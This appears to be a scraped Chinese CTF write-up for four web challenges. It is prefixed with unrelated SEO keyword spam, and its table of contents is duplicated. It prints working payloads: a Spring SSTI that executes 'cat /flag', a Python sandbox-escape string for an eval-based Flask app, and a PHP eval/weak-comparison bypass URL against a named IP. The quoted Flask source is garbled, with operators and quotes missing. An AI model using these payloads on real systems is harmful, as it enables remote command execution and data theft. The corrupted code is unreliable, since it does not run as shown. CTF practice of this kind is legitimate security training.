重庆招生院校网站,浏览器网址导航大全,长春建设招标网,怎么给公司做简单网站目录
input_data
admin
flask
如此多的FLAG 一夜醒来之全国CTF水平提升1000倍#x1f60b;
input_data 访问./.svn后随便翻一翻拿到flag admin
dirsearch扫出来 访问./error看出来是java框架 测出来是/admin;/路由打Spring View Manipulation(Java)的SSTI
https:/…目录
input_data
admin
flask
如此多的FLAG 一夜醒来之全国CTF水平提升1000倍
input_data 访问./.svn后随便翻一翻拿到flag admin
dirsearch扫出来 访问./error看出来是java框架 测出来是/admin;/路由打Spring View Manipulation(Java)的SSTI
https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability
payload:
/admin;/?path__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat /flag%22).getInputStream()).next()%7D__%3A%3A.x flask
题目附件
from flask import Flask, request, Response
import random
import reapp Flask(__name__)app.route(/)
def index():evalme request.args.get(evalme)if ((not evalme) or re.search(r[A-Zd-z\\. /*$#!^], evalme)):return hacker?with open(eval(evalme), rb) as f:return Response(f.read())if __name__ __main__:app.run(port8080)
用这个
GitHub - Macr0phag3/parselmouth: 自动化的 Python 沙箱逃逸 payload bypass 框架 / Automated Python Sandbox Escape Payload Bypass Framework
python parselmouth.py --payload /flag --rule __ . read chr \\ / * $ # ! ^ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z d e f g h i j k l m n o p q r s t u v w x y z 删去空格得到payload:
?evalmea((),a((),a(c(())))(a(,[106,111,105,110])))(a(,[47,102,108,97,103])) 如此多的FLAG
初始界面有提示 访问./F1aaj.php 看cookie 访问./FLLL4g.php 简单的php bypass最后走一个eval代码注入变量覆盖弱比较 payload:
http://101.200.58.4:20005/FLLL4g.php?X[]99999Y0e1284838308Z1;$f1ag0
